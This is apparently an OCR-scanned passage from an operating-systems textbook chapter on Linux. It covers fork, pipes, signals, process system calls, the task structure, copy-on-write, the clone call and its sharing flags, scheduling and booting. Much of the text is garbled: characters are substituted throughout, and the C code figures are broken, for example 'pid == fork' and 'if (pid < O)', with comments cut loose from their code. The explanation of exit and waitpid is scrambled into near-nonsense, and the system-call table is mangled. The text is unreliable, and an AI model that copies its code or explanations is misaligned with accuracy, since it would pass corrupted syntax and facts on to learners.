open in the parent before the fork, it will continue to be open in both the parent 
and the child afterward. Changes made to the file by either one will be visible to 
the other. This behavior is only reasonable, because these changes are also visible 
to any unrelated process that opens the file. 

The fact that the memory images, variables, registers, and everything else are 
identical in the parent and child leads to a small difficulty: How do the processes 
know which one should run the parent code and which one should run the child 
code? The secret is that the fork system call returns a 0 to the child and a nonzero 
value, the child's PID (Process Identifier), to the parent. Both processes nor
mally check the return value and act accordingly, as shown in Fig. 10-4. 

Processes are named by their PIDs. When a process is created, the parent is 
given the child's PID, as mentioned above. If the child wants to know its own 
PID, there is a system call, getpid, that provides it. PIDs are used in a variety of 
ways. For example, when a child terminates, the parent is given the PID of the 
child that just finished. This can be important because a parent may have many 
children. Since children may also have children, an original process can build up 
an entire tree of children, grandchildren, and further descendants. 
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pid == fork( ); 
if (pid < O) { 

handle_error( ); 
} else if (pid > 0) { 

} else { 

PROCESSES IN LINUX 

/* if the fork succeeds, pid > 0 in the parent */ 

/* fork failed (e.g., memory or some table is full) */ 

/* parent code goes here. /*/ 

/* child code goes here. /*/ 

Figure 10-4. Process creation in Linux. 
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�rocess�s in L�nux can communicate with each other using a form of message 
passmg. It IS �osslble to create a channel between two processes into which one 
process can Wnte a stream of bytes for the other to read. These Channels are called 
pipes. Synchronization is possible because when a process tries to read from an 
empty pipe it is blocked until data are available. 

Shell pipelines are implemented with pipes. When the shell sees a line like 
sort <f I head 

it creates two processes, sort and head, and sets up a pipe between them in such a way that sort's standard. output i� connected to head's standard input. In this way, a�l the data that sort WrItes go dIrectly to head, instead of going to a fIte. If the pIpe fills, the system stops running sort until head has removed Some data from it. Processes can also communicate in another way: software interrupts. A process can send what is called a signal to another process. Processes can tell the system wha� they want to happen w:hen a signal arrives. The choices are to ignore it, to catch It, or to let the �lgnal kill the process (the default for most signals). If a process elects �o catch �lgnals sent to it, it must specify a signal�hand1ing procedure. When a SIgnal amves, control will abruptly switch to the handler. When the handler is finished and returns, control goes back to where it came from analo
?ous to hardware I/O i:nterrupts. A process can only send signals to me�bers of ltS pro�ess group, WhICh consists of its parent (and further ancestors), siblings, and chIldren

. 
(and further descendants). A process may also send a signal to all members of Its process group with a single system call. �ignals. are �lso u�ed for ?ther purposes. For example, if a process is doing 

�oatm?-pomt ar:thme�lc, and mad.vertently divides by 0, it gets a SIGFPE (floatI�g-pOInt exceptIon). SIgnal. The SIgnals that are required by POSIX are listed in Fl? 10-5. Many Lmux systems have additional Signals as well, but programs usmg them may not be portable to other versions of Linux and UJ41X in generaL 
10.3.2 Process Management System Calls in Linux 

Let us now look at the Linux system cans dealing with process manaO'ement. 
The main ones are listed in Fig. 10-6. Fork is a good place to start the dis�ussion. 
The Fork system call, supported also by other traditional UNIX systems, is the 
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Signal Cause 

SIGABRT Sent to abort a process and force a core dump 

SIGALRM The alarm clock has gone off 

SIGFPE A floating-point error has occurred (e.g., division by 0) 
SIGHUP The phone line the process was using has been hung up 

SIGILL The user has hit the DEL key to interrupt the process 

SIGQUIT The user has hit the key requesting a core dump 

SIGKILL Sent to kill a process (cannot be caught or ignored) 

SIGPIPE The process has written to a pipe which has no readers 

SIGSEGV The process has referenced an invalid memory address 

SIGTERM Used to request that a process terminate gracefully 

SIGUSR1 Available for application-defined purposes 

SIGUSR2 Available for application-defined purposes 

Figure 10-5. The signals required by POSIX. 

main way to create a new process in Linux systems (We will.discuss anoth�r. 
al

ternative in the following subsection.) It creates an exact duph�ate of the ongmal 
process, including all the file descriptors, registers, and everythmg else: After the 
fork, the original process and the copy (the parent 

.
and chIld) go theu �eparate 

ways. All the variables have identical values at the tln:e of the fork, but Slfice �e 
entire parent address space is copied to create the child, subseque�t c�anges �n 
one of them do not affect the other. The fork call returns a value, which IS zerO 10 
the child, and equal to the child's PID in the p�ent.. Using :he returned PID, the 
two processes can see which is the parent and whIch IS the chIld: In most cases, after a fork, the child will need to execute dIfferent code �rom 
the parent. Consider the case of the shell. It reads a command from the termInal, 
forks off a child process, waits for the child to execute the command,. and then reads the next command when the child tenninates. To wait for t�e chIld .to fin
ish, the parent executes a waitpid system. call, whi�h)ust waits untIl the child ter
minates (any child if more than one eXIsts). Waltpld has th�ee parameters. T?e 
first one allows the caller to wait for a specific child. If it IS -1, any old chIld 
(i.e., the first child to terminate) will do. The second parameter is the addre.ss �f a variable that will be set to the child's exit status (normal or abnonnal temnnatlO� 
and exit value). The third one determines whether the caller blocks or returns If 
no child is already terminated. 

In the case of the shell, the child process must execute the comn:and t�ped by 
the user. It does this by using the exec system call, which cause� Its e�ure �ore 
image to be replaced by the file named in its fIrst 

'
paramete�. ': hIghly SImplified 

shell illustrating the use of fork, waitpid, and exec 15 shown m FIg. 10-7. 
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System call Description 
pid "" fork( } Create a child process identical to the parent 
pid "" waitpid(pid, &statJoc, opts) Wait for a child to terminate 
s "" execve(name, argv, envp) Replace a process' core image 
eXit(status) Terminate process execution and return status 
s "" sigaction(sig, &act, &oldact) Define action to take on signals 
s =- sigreturn{&context) Return from a signal 
s '"  sigprocmask(how, &set, &old) Examine or change the signal mask 
s '" sigpending(set) Get the set of blocked signals 
s _ sigsuspend(sigmask) Replace the signal mask and suspend the process 
s '"  kil!{pid, sig) Send a signal to a process 
residual ", alarm(seconds) Set the alarm clock 
s =- pause( ) Suspend the caller until the next Signa! 

Figure 10-6. Some system calls relating to processes. The return code s is -1 if 
an error has occurred, pid is a process ID. and residual is the remaining time in 
the previous alarm. The parameters are what the names suggest. 

In the most general case, exec has three parameters: the name of the file to be executed, a pointer to the argument array, and a pointer to the environment array. These will be described shortly. Various library procedures, such as execl. execv, execle, and execve. are provided to allow the parameters to be omitted or specified in various ways. All of these procedures invoke the same underlying system call. Although the system call is exec, there is no library procedure with this name; one of the others must be used. 
Let us consider the case of a command typed to the shell, such as 
cp file1 file2 

used to copy filel to file2. After the shell has forked, the child locates and executes the file cp and passes it information about the files to be copied. The main program of cp (and many other programs) contains the function declaration 
main(argc, argv, envp) 

where argc is a count of the number of items on the command line, including the program name. For the example above, argc is 3. 
The second parameter, argv, is a pointer to an array. Element i of that array is a pointer to the i-th string on the command line. In our example, argv[O] would point to the string HCp". Similarly, argv(1J would point to the five-character string "file 1 " and argv[2] would point to the five-character string "file2" . The third parameter of main, envp, is a pointer to the environment, an array of strings containing assignments of the fonn name = value used to pass information 
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while (TRUE) ( 
type_prompt( ); 
read_command{command, params); 

{* repeat forever /*1 
1* display prompt on the screen */ 
1* read input line from keyboard */ 

pid == fork( ); 
if (pid < 0) ( 

printf("Unable to farkO); 

continue; 

if (pid != 0) ( . 
waitpid (-1, &status, 0), 

} else ( 
execve{command, paTams, 0); 

} 

1* fork off a child process */ 

1* error condition */ 
1* repeat the loop */ 

/* parent waits for child */ 

1* child does the work */ 

Figure 10·7. A highly simplified sheU. 

. a1 t e and home directory name to a program. In Fig. ,
10-7, no 

such as the te:rmn 
d
YP 

th mId so that the third parameter of execve IS a zero 
environment IS passe to e c , 
in this case. r ted do not despair it is the most complex system call. 

If exec seems comp lca , ' I of a simple one consider exit, 
h t are much simpler As an examp e ' 

��i:h 
e
p:�;esses should use Wh� ��y ar������d�:����:fin 

I��a�:a�fea:�::� 
ter, the e�lt �tatus (0 to �i5hw 

l�w-�r��r byte of status contains the termination 
of the waltpld system ca . e

. ti d the other values being various error 
statu�,. 

with 0 bei�g norma� t��:n�a:� :e child's exit status (0 to 255), as spec
condltlOns. The hIgh-order .

y 
F l 'f a parent process executes the state

ified in the child's call to eXIt. or examp e, 1 
ment 

n = waitpid(-1, &status, 0); . . 
it will be suspended until som� ch�ld proc�ss ��f��n:�s�;!e�e :i��ldn 

e:::s t:��� 
say, 4 as the parameter to eXit, t e paren WI 

efix means hexadecimal in C). 
child's PID and status set to Ox0400 (Ox as a pr 

. h I e the child 
The low-order byte of status relates to signals; the next one IS t e va u 

::J� �:��:�::i�:f��t\�n
P�:��::��e 

n����i:���!fO�e��:er��:��t��:�I; 
waits for i�i �:Fe:c::�:::�a��S�ignals, which are used in a vari�ty of ways. For 

Ser:r 
if /user accidentally tells a text editor to display the en�lre conten�s o�.

a ::amfon� file, and then realizes the error, some way i� needed to mterrup� tc��� 
to:: The usual choice is for the user to hit some specIal key (e.g., DEL 0 
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C), which sends a signal to the editor. The editor catches the signal and stops the 
print-out 

To announce its willingness to catch this (or any other) signal, the process can 
use the sigaction system call. The first parameter is the signal to be caught (see 
Fig. 10-5). The second is a pointer to a structure giv.ing a pointer to the Signal 
handling procedure, as well as some other bits and flags. The third one points to a 
structure where the system returns information about signal handling currently in 
effect, in case it must be restored later. 

The signal handler may run for as long as it wants to. In practice, though, sig
nal handlers are usually fairly short. When the signal handling procedure is done, 
it returns to the point from which it was interrupted. 

The sigaction system call can also be used to cause a signal to be ignored, or 
to restore the default action, which is killing the process. 

Hitting the DEL key is not the only way to send a signaL The kill system call 
allows a process to signal another related process. The choice of the name "kill" 
for this system call is not an especially good one, since most processes send sig
nals to other ones with the intention that they be caught. 

For many real-time applications, a process needs to be interrup_ted after a spe
cific time interval to do something, such as to retransmit a potentially lost packet 
over an unreliable communication line. To handle this situation, the alarm system 
call has been provided. The parameter specifies an interval, in secOIids, after 
which a SIGALRM signal is sent to the process. A process may have only one 
alarm outstanding at any instant. If an alarm call is made with a parameter of 10 
seconds, and then 3 seconds later another alarm call is made with a parameter of 
20 seconds, only one signal will be generated, 20 seconds after the second calL 
The first signal is canceled by the second call to alarm. If the parameter to alarm 
is zero, any pending alarm signal is canceled. If an alarm signal is not caught, the 
default action is taken and the signaled process is killed. Technically, alarm sig
nals may be ignored, but that is a pointless thing to do. 

lt sometimes occurs that a process has nothing to do until a signal arrives. For 
example, consider a computer-aided instruction program that is testing reading 
speed and comprehension. It displays some text on the screen and then cans 
alarm to signal it after 30 seconds. While the student is reading the text, the pro� 
gram has nothing to do. It could sit in a tight loop doing nothing, but that would 
waste CPU time that a background process or other user might need. A better 
solution is to use the pause system call, which tells Linux to suspend the process 
until the next signal arrives. 

10.3.3 Implementation of Processes and Threads in Linnx 

A process in Linux is like an iceberg: what you see is the part above the wa
ter, but there is also an important part underneath. Every process has a user part 
that runs the user program. However, when one of its threads makes a system 
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call, it traps to kernel mode and begins running in kernel context, with a different 
memory map and full access to all machine resources. It is still the same thread, 
but now with morc power and also its own kernel mode stack and kernel mode 
program counter. These are important because a system call can block part way 
through, for example, waiting for a disk operation to complete. The program 
counter and registers are then saved so the thread can be restarted in kernel mode 
later. 

The Linux kernel internally represents processes as tasks, via the structure 
tasLstruct. Unlike other OS approaches, which make a distinction between a 
process, lightweight process, and thread), Linux uses the task structure to repres
ent any execution context. Therefore, a single-threaded process will be repres
ented with one task structure and a multithreaded process will have One task struc
ture for each of the user-level threads. Finally, the kernel itself is multi-threaded, 
and has kernel level threads which are not associated with any user process and 
are executing kernel code. We will return to the treatment of multi-threaded proc
esses (and threads in general) later in this section. 

For each process, a process descriptor of type tasL struct is resident in mem
ory at all times. It contains vital information needed for the kernel's management 
of all processes, including scheduling parameters, lists of open file descriptors, 
and so on. The process descriptor along with memory for the kernel-mode stack 
for the process are created upon process creation. 

For compatibility with other UNIX systems, Linux identifies processes via the 
Process Identifier (PID). The kernel organizes all processes in a doubly linked 
list of task structures. In addition to accessing process descriptors by traversing 
the linked lists, the PID can be mapped to the address of the task structure, and the 
process information can be accessed immediately. 

The task structure contains a variety of fields. Some of. these fields contain 
pointers to other data structures or segments, such as those containing information 
about open files. Some of these segments are related to the user-level structure of 
the process, which is not of interest when the user process is not runnable. There
fore, these may be swapped or paged out, in order not to waste memory on infor
mation that is not needed. For example, although it is possible for a process to be 
sent a Signal while it is swapped out, it is not possible for it to read a file. For this 
reason, information about signals must be in memory all the time, even when the 
process is not present in memory. On the other hand, information about file de
scriptors can be kept in the user structure and brought in only when the process is 
in memory and runnable. 

The information in the process descriptor falls into the following broad 
categories: 

1 .  Scheduling parameters. Process priority, amount of CPU time con
sumed recently, amount of time spent sleeping recently. Together, 
these are used to determine which process to run next. 
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2. Memory image. Pointers to the text, data, and stack segments, or 
page tables. If the text segment is shared, the text pointer pOints to 
the 

.
shared text table. When the process is not in memory, infor

matIon about how to find its parts on disk is here too. 

3. Signals. M.
asks showing which signals are being ignored, which are 

being caught, which are being temporarily blocked, and which are in 
the process of being delivered. 

4. Machine registers. When a trap to the kernel occurs, the machine 
registers (including the floating-point ones, if used) are saved here. 

5. System call state. Information about the current system call, includ
ing the parameters, an? results. 

6. File descriptor table. When a system call involving a file descriptor 
is invoked, the file descriptor is used as an index into this table to 
locate the in-core data structure (i-node) corresponding to this file. 

7.  Accounting. Pointer to a table that keeps track of the user and sys
tem CPU time used by the process. Some systems also maintain lim
its here on the amount of CPU time a process may use, the maximum 
size of its stack, the number of page frames it may consuma, and 
other items. 

8. Kernel stack. A fixed stack for use by the kernel part of the process. 

9. Miscellaneous. Current process state, event being waited for, if any, 
time until alarm clock goes off, PID, PID of the parent process, and 
user and group identification. 

743 

Keeping this infonnation in mind, it is now easy to explain how processes are 
cre�ted in Linux. The mechanism for creating a new process is actually fairly 
straIghtforward. A new process descriptor and user area are created for the child 
process and filled in largely from the parent. The child is given a PID, its memory 
map is set up, and it is given shared access to its parent's files. Then its registers 
are set up and it is ready to run. 

When a fork system call is executed, the calling process traps to the kernel and 
creates a task structure and few other accompanying data structures, such as the 
kernel mode stack and a thread_info structure. This structure is allocated at a 
fixed offset from the process' end-of-stack, and contains few process parameters, 
along with the address of the process descriptor. By storing the process descrip
tor's address at a fixed location, Linux needs only few efficient operations to 
locate the task structure for a running process. 

The majority of the process descriptor contents are filled out based on the par
ent's descriptor values. Linux then looks for an available PID, and updates the 
PID hash table entry to point to the new task structure. In case of collisions in the 
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hash table, process- descriptors may be chained. It also sets the fields in the 

task....struct to point to the corresponding previous/next process on the task array_ 

In principle , it should now allocate memory for the child's data and stac� seg

ments, and to make exact copies of the parent's segments, since the semantlcs of 

fork say that no memory is shared between parent and child. The text segment 

may e ither be copied or shared since it is read only. At this point, the child is 

ready to run. 
However, copying memory is expensive, so all modern Linux systems cheat. 

They give the child its own page tables, but have them point to the pa�ent's pages, 

only marked read only. Whenever the child tries to wnte on a page, It gets a pro

tection fault. The kernel sees this and then allocates a new copy of the page to the 

child and marks it re ad/wr ite . In this way, only pages that are actually written 

have to be copied. This mechanism is called copy on write. It has the additional 

benefit of not requiring two copies of the program in memory, thus saving RAM. 

After the child proce ss starts running, the code running there (a copy of the 

shell) does an exec system call giving the command name as a parameter. The 

kernel now finds and verifies the executable file , copies the arguments and envi

ronment strings to the kernel, and releases the old address space and its page 

tables. 
Now the new address space must be created and fille d in. If the system sup

ports mappe d fIles, as Linux and other UNIX-based systems do, the new page 

tables are set up to indicate that no page s are in memory, except per�aps one stack 

page, but that the address space is backed by the executable file on d�sk. �hen the 

new process starts running, it will immediately get a page fault, w�lch will ca�se 

the first page of code to be paged in from the executable file . In thIS way, nothmg 

has to be loaded in advance, so programs can start quickly and fault in just those 

pages they nee d  and no more. (This strategy is demand paging in its purest form, 

as discusse d in Chap. 3.) FinallY, the arguments and environment strings are cop

ie d to the new stack, the signals are reset, and the registers are initialize d to all 

zeros. At this point, the ne w command can strut running. 

Fig. 10-8 illustrates the steps described above through the following example: 

A user type s a command, Is, on the terminal, the shell creates a new proce ss by 

forking off a clone of itself. The new shell then calls exec to overlay its memory 

with the contents of the executable file Is. 

Threads in Linux 

We discusse d threads in a general way in Chap. 2. Here we will focus on ker
nel thre ads in Linux, particularly focusing on the differences in the Linux thre ad 
model and other UNIX systems. In order to better understand the unique capabili
ties provided by the Linux model, we start with a discussion of some of the chal
lenging decisions present in multithreaded systems. 
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PIO '" 501 PIO =- 748 

sh 

Fork ca!! 

Allocate child's task structure 
Fill child's task structure from parent 
Allocate child's stack and user area 
Fill child's user area from parent 
Allocate PIO for child 
Set up child to share parenfS text 
Copy page tables lor data and stack 
Set up sharing 01 open files 
Copy parent's registers to child 

Same process 

PIO :::: 748 

4. sh overlaid 
with Is 

Find the executable program 
Verify the execute permission 
Read and verify the header 
Copy arguments, environ to kernel 
Free the old address space 
A!!ocate new address space 
Copy arguments, environ to stack 
Aeset signals 
Initialize registers 

Figure 10·8. The steps in executing the command Is typed to the shell. 
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The main issue in introducing threads is maintaining the correct traditional 
UNIX semantics. First consider fork. Suppose that a process with multiple (ker
nel) threads does a fork system call. Should all the other threads be created in the 
new process? For the moment, let us answer that question with yes. Suppose that 
one of the other threads was blocked reading from the keyboard. Should the cor
responding thread in the new proce ss also be blocked reading from the keyboard? 
If so, which one gets the next line typed? If not, what should that thread be doing 
in the new process? The same problem holds for many other things thre ads can 
do. In a single-threaded process, the problem does not arise because the one and 
only thread cannot be blocke d when calling fork. Now consider the case that the 
other threads are not create d in the child process. Suppose that one of the not
create d threads holds a mutex that the one-and-only thread in the new process 
tries to acquire after doing the fork. The mutex will never be released and the one 
thread will hang forever. Numerous other proble ms exist too. There is no simple 
solution. 

File JJO is another problem area. Suppose that one thread is blocked reading 
from a file and another thread closes the file or does an Iseek to change the cur
rent file pointer. What happens next? Who knows? 

Signal handling is another thorny issue. Should signals be directed at a specif
ic thread or at the process in general? A SIGFPE (floating-point exception) 
should probably be caught by the thread that caused it. What if it does not catch 
it? Should just that thread be killed, or all threads? Now consider the SIGINT 
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. anal aenerated by the user at the keyboard. Which thread should catch that? 
510 ' 0  . th d 
Should all threads share a common set of signal masks? All solutlO�S to ese an 

other problems usually cause something to br�ak som�w.he
re. <:Jettmg the seman� 

tics of threads right (not to mention the code) IS a nontrIvIal busmess. . 
Linux supports kernel threads in an interesting way that is worth lookmg at. 

The implementation is based on ideas from 4.4BSD, but kernel threads were n�t 

enabled in that distribution because Berkeley fan out of
 money before the C li

brary could be rewritten to solve the problems discussed above. 

Historically, processes were resource containers and threads were the units of 

execution. A process contained one or more threads that shared the address space, 

open files, signal handlers, alarms, and everything else. Everything was clear and 

simple as described above. 
In 2000 Linux introduced a powerful new system call, done, that blurred the 

distinction between processes and threads and possibly eve� inverted the prim
ac� 

of the two concepts. Clone is not present in any other verSlOn of UNIX. ClassI

cally, when a new thread was created, the original thread(s) and the new one sh�r

ed everything but their registers. In particular, file descr
iptors for open files, SIg

nal handlers, alarms, and other global properties were per process, not per thread. 

What done did was make it possible for each of these aspects and others to be 

process specific or thread specific. It is called as follows: 

pid = done(function, stack_ptr, sharing_flags, arg); 

The call creates a new thread, either in the current proces
s or in a new process, 

depending on sharing_fiags. If the new thread is in the current process: it shares 

the address space with the existing threads, and every subsequent wnte to any 

byte in the address space by any thr;ad i:, immediately visib�e to all the other 

threads in the process. On the other hand, If the address space IS not shared, then 

the new thread gets an exact copy of the address space, but subsequ
ent writes by 

the new thread are not visible to the old ones. These semantics are the same as 

POSIX fork. 
In both cases, the new thread begins executing at function, which is called 

with arg as its only parameter. Also in both cases, the new thread gets its own pri

vate stack with the stack pointer initialized to stack_ptr. 
The sharing_flags parameter is a bitmap that allows a much finer grain of 

sharina than traditional UNIX systems. Each of the bits can be set independently 

of the
e> 
other ones, and each of them determines whether the new thread copies 

some data structure or shares it with the calling thread. Fig. 10-9 shows some of 

the items that can be shared or copied according to bits in sharing _flags. 

The CLONE _ VM bit determines whether the virtual memory (i.e., address 

space) is shared with the old threads or copied. If it is set, the new thread just 

moves in with the existing ones, so the clone call effectively creates a new thread 

in an existing process. If the bit is cleared, the new thread gets its own private ad

dress space. Having its own address space meanS that the effect of its STORE 
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Flag Meaning when set Meaning when cleared 
CLONE VM Create a new thread Create a new process 

CLONE FS Share umask, root, and working dlrs Do not share them 
CLONE FILES Share the file descriptors Copy the file descriptors 
CLONE SIGHANO Share the signal handler table Copy the table 
CLONE PIO New thread gets old P!D New thread gets own P!D 
CLONE PARENT New thread has same parent as caller New thread's parent is caller 

Figure 10�9. Bits in the sharing _flags bitmap. 

instructions is not visible to the existing threads. This behavior is similar to fork 
except as noted below. Creating a new address space is effectively the definitio� 
of a new process. 

The CLONE_FS bit �ontrols sharing of the root and working directories and 
of the umask flag. Even If the new thread has its own address space, if this bit is 
set, . the old and new threads share working directories. This means that a call to 
chdlr by one thread changes the working directory of the other thread even though 
the other thread may have its own address space. In UNIX, a call 'to chdir by a 
thread always cha�ges the working directory for other threads in its prbcess, but 
neve

.
r fo� threa?� m another process. Thus this bit enables a kind of sharing not 

possIble 10 tradItIOnal UNIX versions. 
The CLONE_FILES bit is analogous to the CLONE_FS bit. If set, the new 

threa? �hares Its file descriptors with the old ones, so calls to Iseek by one thread 
are VISIble to the other ones, again as normally holds for threads within the same 
process but not for threads in different processes. Similarly, CLONE_SIGH AND 
enables or disables the sharing of the signal handler table between the old and 
new threads. If the table is shared, even among threads in different address 
spaces, then changing a handler in one thread affects the handlers in the others. 
CL?NE_PID �ontrols w?ether the new thread gets its own PID or shares its par
ent s PID. ThIS feature IS needed during system booting. User processes are not 
permitted to enable it. 

Finally, every process has a parent. The CLONEYARENT bit controls who 
the. parent of the new threa� is. .It �an either be the same as the calling thread (in 
:vhich �ase �e new thread IS a sIblmg of the caller) or it can be the calling thread 
Itself, III whIch case the new thread is a child of the caller. There are a few other 
bits that control other items, but they are less important. 

This fine-graine� sha?ng is possible because Linux maIntains separate data 
stru�tures for the varIOUS Items listed in Sec. 10.3.3 (scheduling parameters, mem
?ry Image, and so on). The task structure just points to these data structures, so it 
IS easy to make a new task structure for each cloned thread and have it point either 
to the old thread's scheduling, memory, and other data structures or to copies of 
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them. The fact that such fine-grained sharing is possible does not mean that it is 
useful, however, especially since traditional UNIX versions do not offer th!s func
tionality. A Linux program that takes advantage of it is then no longer portabl� to 
UNIX. 

The Linux thread model raises another difficulty. UNIX systems associate a 
single PID with a process, independent of whether it is single- or multi-threaded. 
In order to be compatible with other UNIX systems, Linux distinguishes between 
a process identifier (PID) and a task identifier (TID). Both fields are stored in t

,
he 

task structure. When clone is used to create a new process that shares nothing With 
its creator, PID is' set to a new value; otherwise, the task receives a new TID, but 
inherits the PID. In this manner all threads in a process will receive the same PID 
as the first thread in the process. 

10.3.4 Scheduling in Linux 

We will now look at the Linux scheduling algorithm. To start with, Linux 
threads are kernel threads, so scheduling is based on threads, not processes. 

Linux distinguishes three classes of threads for scheduling purposes: 
1 .  Real-time FIFO. 
2. Real-time round robin. 
3. Timesharing, 

Real-time FIFO threads are the highest priority and are not preemptable except by 
a newly readied real-time FIFO thread with higher priority. Real-time round-robin 
threads are the same as real-time FIFO threads except that they have time quanta 
associated with them, and are preemptable by the clock. If multiple real-time 
round-robin threads are ready, each one is run for its quantum, after which it goes 
to the end of the list of real-time round-robin threads. Neither of these classes is 
actually real time in any sense. Deadlines cannot be specified and guarantees are 
not given. These classes are simply higher priority than threads in the standard 
timesharing class, The reason Linux calls them real time is that Linux is confor
mant to the P1003.4 standard ("real-time" extensions to UNIX) which uses those 
names. The real-time threads are internally represented with priority levels from 0 
to 99, 0 being the highest and 99 the lowest real-time priority level. 

The conventional, non-real-time threads are scheduled according to the fol
lowing algorithm. Internally, the non-real-time threads are associated with priority 
levels from 100 to 139, that is, Linux internally distinguishes among 140 priority 
levels (for real-time and non-real-time tasks). As for the real-time round robin 
threads, Linux associates time quantum values for each of the nonreal-time prior
ity levels. The quantum is the number of clock ticks the thread may continue to 
run for. In the current Linux version, the clock runs at 1000Hz and each tick is 
Ims, which is called a jiffy, 
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Like most UNIX systems, Linux associates a nice value with each thread. The 
default is 0, but this can be changed using the nice(value) system call, where value 
ranges from -20 to +19. This value determines the static priority of each thread, 
A user computing 1t to a billion places in the background might put this call in his 
program to be nice to the other users. Only the system administrator may ask for 
better than nonnal service (meaning values from -20 to -1). Deducing the reason 
for this rule is left as an exercise for the reader. 

A key data structure used by the Linux scheduler is a runqueue. A runqueue 
is associated with each CPU in the system, and among other information, it main
tains two arrays, active and expired. As shown in Fig. 10-10, each of these fields 
is a pointer to an array of 140 list he.ads, each corresponding to a different priority. 
The list head points to a doubly linked list of processes at a given priority. The 
basic operation of the scheduler can be described as follows. 

Per CPU runqueue 

Flags 
CPU 

Static_prio 
< . .. > 

Acllve 

Expired 

< . . .  > 

Array[O] 

Array{1] 

P Priority 0 

P 0 0  
P 0 Priority 139 

P Priority 0 

P Priority 139 

Figure 10-10. Illustration of Linux mnqueue and priority arrays. 

The scheduler selects a task from the highest-priority active array. If that 
task's timesIice (quantum) expires, it is moved to an expired list (potentially at a 
different priority level). If the task blocks, for instance to wait on an I/O event, 
before its timeslice expires, once the event occurs and its execution can resume, it 
is placed back on the original active array, and its timeslice is decremented to 
reflect the CPU time it already consumed. Once its timesIice is fully exhausted, it 
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too will be placed on an expired array. When there are no more tasks in any of the 
active arrays, the scheduler simply swaps the pointers, so the expired arrays now 
become active, and vice versa. This method ensures that low-priority tasks will 
not starve (except when real�time FIFO threads completely hog the CPU, which is 
unlikely to happen). 

Different priority levels are assigned different timeslice values. Linux assigns 
higher quanta to higher-priority processes. For instance, tasks running at priority 
level 100 will receive time quanta of 800 msec, whereas tasks at priority level of 
139 will receive 5 msec. 

The idea behind this scheme is to get processes out of the kernel fast. If a 
process is trying to read a disk file, making it wait a second between read calls 
will slow it down enormously. It is far better to let it run immediately after each 
request is completed, so that it can make the next one quickly. Similarly, if a proc
ess was blocked waiting for keyboard input, it is clearly an interactive process, 
and as such should be given a high priority as soon as it is ready in order to ensure 
that interactive processes get good service. In this light, CPU-bound processes 
basically get any service that is left over when all the I/O bound and interactive 
processes are blocked. 

Since Linux (or any other OS) does not know a priori whether a task is I10- or 
CPU-bound, it relies on continuously maintaining interactivity heuristics. In this 
manner, Linux distinguishes between static and dynamic priority. The threads' 
dynamic priority is continuously recalculated, so as to (1)  reward interactive 
threads, and (2) punish CPU-hogging threads. The maximum priority bonus is -5, 
since lower-priority values correspond to higher priority received by the schedul
er. The maximum pliority penalty is +5. 

More specifically, the scheduler maintains a sleep_avg variable associated 
with each task. Whenever a task is awakened, this variable is incremented, when
ever a task is preempted or its quantum expires, this variable is decremented by 
the corresponding value. This value is used to dynamically map the task's bonus 
to values from -5 to +5. The Linux scheduler recalculates the new priority level 
as a thread is moved from the active to the expired list. 

The scheduling algorithm described in this section refers to the 2.6 kernel, and 
was first introduced in the unstable 2.5 kernel. Earlier algorithms exhibited poor 
performance in multiprocessor settings and did not scale well with an increased 
number of tasks. Since the description presented in the above paragraphs indicates 
that a scheduling decision can be made through access to the appropriate active 
list, it can be done in constant O( 1) time, independent of the number of processes 
in the system. 

In addition, the scheduler includes features particularly useful for multiproc
essor or multicore platforms. First, the runqueue structure is associated with each 
CPU in the multiprocessing platform. The scheduler tries to maintain benefits 
from affinity scheduling, and to schedule tasks on the CPU' on which they Were 
previously executing. Second, a set of system calls is available to further specify 
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or modify
. 

th� affinity requ�rements of a select thread. Finally, the scheduler per
forms penodlc load balancmg across runqueues of different CPUs to ensure that �he Syst:ffi load is well balanced, while still meeting certain performance or affin
Ity reqUIrements. 

T?e scheduler considers ?nly runnable tasks, which are placed on the ap
propn�te runqueue. Tasks whlch are not runnable and are waiting on various lIO 
opera?ons or 

.
other k�rnel ev

.
ents are placed on another data structure, waitqueue. 

A waltqueue IS assocIated WIth each event that tasks may wait on. The head of the �aitqueue includes a pointer to a linked list of tasks and a spinlock. The spinlock 
IS necessary so as to

. 
ensure that the waitqueue can be concurrently manipulated �hroug� both the mam kernel code and interrupt handlers or other asynchronous 

mVOcations. 
In fact, the kernel code contains synchronization variables in numerous loca

ti?ns. �ar1ier �inux ke:nels had just One big kernel lock (BLK). This proved 
hIghly mefficle?t, particularly on multiprocessor platforms, since it prevented 
processes on different CPUs from executing kernel code concurrently. Hence, 
many new synchronization points were intI'oduced at much finer granularity. 

10.3.5 Booting Linux 

Details vary from platform to platfonn, but in general the following steps represent the boot process. When the computer starts, the BIOS performs PowerOn-Self-Test (POST) and initial device discovery and initialization, since the OS' boot process may rely on access to disks, screens, keyboards, and so on. Next, the first sector of the boot disk, the MBR (Master Boot Record), is read into a fixed 
memory location and executed. This sector contains a small (512-byte) program that loads a standalone program called boot from the boot device, usually an IDE or SCSI disk. The boot program first copies itself to a fixed high-memory address to free up low memory for the operating system. 

Once moved, boot reads the root directory of the boot device. To do this, it 
must understand the file system and directory format, which is the case with some 
bootloaders such as GRUB (GRand Unified Bootloader). Other popular 
bootloaders, such as Intel's LILO, do not rely on any specific filesystem. Instead, 
they need a block map and low-level addresses, which describe physical sectors, 
heads, and cylinders, to find the relevant sectors to be loaded. 

. 
The� boot 

.
re�ds in the operating system kernel and jumps to it. At this pOint, 

It has fimshed Its Job and the kernel is running. 
The kernel start-up code is written in assembly language and is hiO"hly ma

chine dependent. Typical work includes setting up the kernel stack, identifying the 
CPU type, c?-lculating the amount of RAM present, disabling interrupts, enabling 
the MMU, and finally calling the C-Ianguage main procedure to start the main 
part of the operating system. 
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The C code also has considerable initialization to do, but this is more logical 
than physical. It starts out by anocating a message buffer to help debug boot 
problems. As initialization proceeds, messages are written here about what is 
happening, so that they can be fished out after a boot failure by a special diagnos
tic program. Think of this as the operating system's cockpit flight recorder (the 
black box investigators look for after a plane crash). 

Next the kernel data structures are allocated. Most are fixed size, but a few, 
such as the page cache and certain page table structures, depend on the amount of 
RAM available. 

At this point the system begins autoconfiguration. Using configuration files 
telling what kinds of I/O devices might be present, it begins probing the devices to 
see which ones actually are present. If a probed device responds to the probe, it is 
added to a table of attached devices. If it fails to respond, it is assumed to be 
absent and ignored henceforth. Unlike traditional UNIX versions, Linux device 
drivers do not need to be statically linked and may be loaded dynamically (as can 
all versions of MS-DOS and Windows, incidentally). 

The arguments for and against dynamically loading drivers are interesting and 
worth stating briefly. The main argument for dynamic loading is that a single bi
nary can be shipped to customers with divergent configurations and have it auto
matically load the drivers it needs, possibly even over a network. The main argu
